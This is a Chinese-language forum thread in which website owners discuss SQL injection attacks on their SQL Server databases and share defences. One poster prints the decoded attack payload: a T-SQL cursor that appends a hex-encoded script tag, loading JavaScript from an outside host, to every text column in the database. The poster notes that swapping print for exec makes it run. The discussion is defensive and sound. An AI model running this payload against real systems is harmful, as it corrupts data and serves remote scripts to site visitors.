数据库遭到攻击 求救雪人以及各路高手!

我被注入攻击了两次!  查看了源码,怀疑是对注入字符没有检测和过虑

在此公布一下初步解决方案：

首先您自己编写的网站存在SQL注入攻击漏洞！
请将您的SQL代码编写成参数带入的形式 例如：
SqlCommand cmd = new SqlCommand("insert into TABLE1(A,B,C,D,E,F,G) values(@A,@B,@C,0,'" + DateTime.Now + "',null,null)", con);
                SqlParameter para = new SqlParameter("@A", SqlDbType.VarChar, 32);
                para.Value = ca.A;
                cmd.Parameters.Add(para);
                para = new SqlParameter("@B", SqlDbType.VarChar, 32);
                para.Value = ca.B;
                cmd.Parameters.Add(para);
                para = new SqlParameter("@C", SqlDbType.Int, 32);
                para.Value = Convert.ToInt32(ca.C);
                cmd.Parameters.Add(para);

页面接收的参数 全部用这个形式拼接SQL，不然会导致SQL注入攻击！

我已经翻译了这类攻击的几个代码行，发现攻击者还是比较人道
没有删除大家的数据，这类攻击可以删除SQL2000对应数据库上的数据！
这次对方只是修改了！
在此不便公布攻击代码～～～希望大家赶紧补自己写的程序漏洞！

给QQ我短信的朋友 我就不回复了 呵呵

再则是否DISCUZ论坛模板 也存在这种漏洞
我暂未测试  明天有空我会测试一下！

两天内公布测试情况  不过我估计DISCUZ模板这样的低级错误的可能性不大
主要还是各位写的代码部分的漏洞！

DECLARE @T VARCHAR(255),@C VARCHAR(255)
    DECLARE TABLE_CURSOR CURSOR FOR
    SELECT A.NAME,B.NAME FROM SYSOBJECTS A,SYSCOLUMNS B WHERE A.ID=B.ID AND A.XTYPE='U' AND (B.XTYPE=99 OR B.XTYPE=35 OR B.XTYPE=231 OR B.XTYPE=167)
    OPEN TABLE_CURSOR
    FETCH NEXT FROM TABLE_CURSOR
    INTO @T,@C
    WHILE(@@FETCH_STATUS=0)
    BEGIN
    Print 'UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR,['+@C+']))+CAST(0X3C2F7469746C653E3C2F7072653E3E3C736372697074207372633D687474703A2F2F73622E353235322E77733A38382F3130372F312E6A733E3C2F7363726970743E3C212D2D AS VARCHAR(67))'
    FETCH NEXT FROM TABLE_CURSOR
    INTO @T,@C
    END
    CLOSE TABLE_CURSOR
    DEALLOCATE TABLE_CURSOR;--
    --EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR,['+@C+']))+CAST(0X3C2F7469746C653E3C2F7072653E3E3C736372697074207372633D687474703A2F2F73622E353235322E77733A38382F3130372F312E6A733E3C2F7363726970743E3C212D2D AS VARCHAR(67))')
    --Print 'UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR,['+@C+']))+CAST(0X3C2F7469746C653E3C2F7072653E3E3C736372697074207372633D687474703A2F2F73622E353235322E77733A38382F3130372F312E6A733E3C2F7363726970743E3C212D2D AS VARCHAR(67))'
   
大家好！
以上是偶对SQL注入分析得到的一段代码
可以在查询分析器运行一下
如果将print 改为exec
数据库就会被更新了耶

我哋公司都係出再哩個问题
喺我查看咗IIS日志后
入侵者係通过SQL注入方式而得逞嘅
解决办法最好是将所有的请求参数进行过滤
用最低权限的SQL帐户运行ASP程序
将有安全隐患的扩展存储过程禁用掉
我就是这样做的
暂时没什么大问题

楼上是玉泉路呀 我也在玉泉路哦 好巧啊！

关注

各位如有发现DISCUZ!NT1.1 BBS模板有哪个页面有漏洞的 请告知！
我不想再被攻击了！
目前暂未发现漏洞～～～估计都是大家自己建的站点的SQL漏洞！

楼上们的，你们的这个问题都解决了吗？
我的怎么还是不行啊？我自己些的程序我过滤了，注入不了了，可是我网站上面的nt论坛就遭殃了，一个被搞n次，我改过来他改过去的，有解决的能教一下怎么解决吗？
QQ：517449116